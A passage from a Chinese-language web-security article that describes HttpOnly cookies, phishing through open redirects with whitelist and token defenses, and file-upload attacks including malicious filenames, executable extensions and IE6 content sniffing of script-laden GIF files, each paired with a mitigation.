    现在多数浏览器都支持在cookie上打上HttpOnly的标记,凡有这个标志的cookie就无法通过Java Script来取得,如果能在关键cookie上打上这个标记，就会大大增强cookie的安全性

五.重定向攻击

  一种常用的攻击手段是“钓鱼”。钓鱼攻击者，通常会发送给受害者一个合法链接，当链接被点击时，用户被导向一个似是而非的非法网站，从而达到骗取用户信 任、窃取用户资料的目的。为防止这种行为,我们必须对所有的重定向操作进行审核,以避免重定向到一个危险的地方.常见解决方案是白名单,将合法的要重定向 的url加到白名单中,非白名单上的域名重定向时拒之,第二种解决方案是重定向token,在合法的url上加上token,重定向时进行验证.

六.上传文件攻击

  1.文件名攻击,上传的文件采用上传之前的文件名,可能造成:客户端和服务端字符码不兼容,导致文件名乱码问题;文件名包含脚本,从而造成攻击.

   2.文件后缀攻击.上传的文件的后缀可能是exe可执行程序,js脚本等文件,这些程序可能被执行于受害者的客户端,甚至可能执行于服务器上.因此我们必须过滤文件名后缀,排除那些不被许可的文件名后缀.

  3.文件内容攻击.IE6有一个很严重的问题 , 它不信任服务器所发送的content type，而是自动根据文件内容来识别文件的类型，并根据所识别的类型来显示或执行文件.如果上传一个gif文件,在文件末尾放一段js攻击脚本,就有可 能被执行.这种攻击,它的文件名和content type看起来都是合法的gif图片,然而其内容却包含脚本,这样的攻击无法用文件名过滤来排除，而是必须扫描其文件内容，才能识别。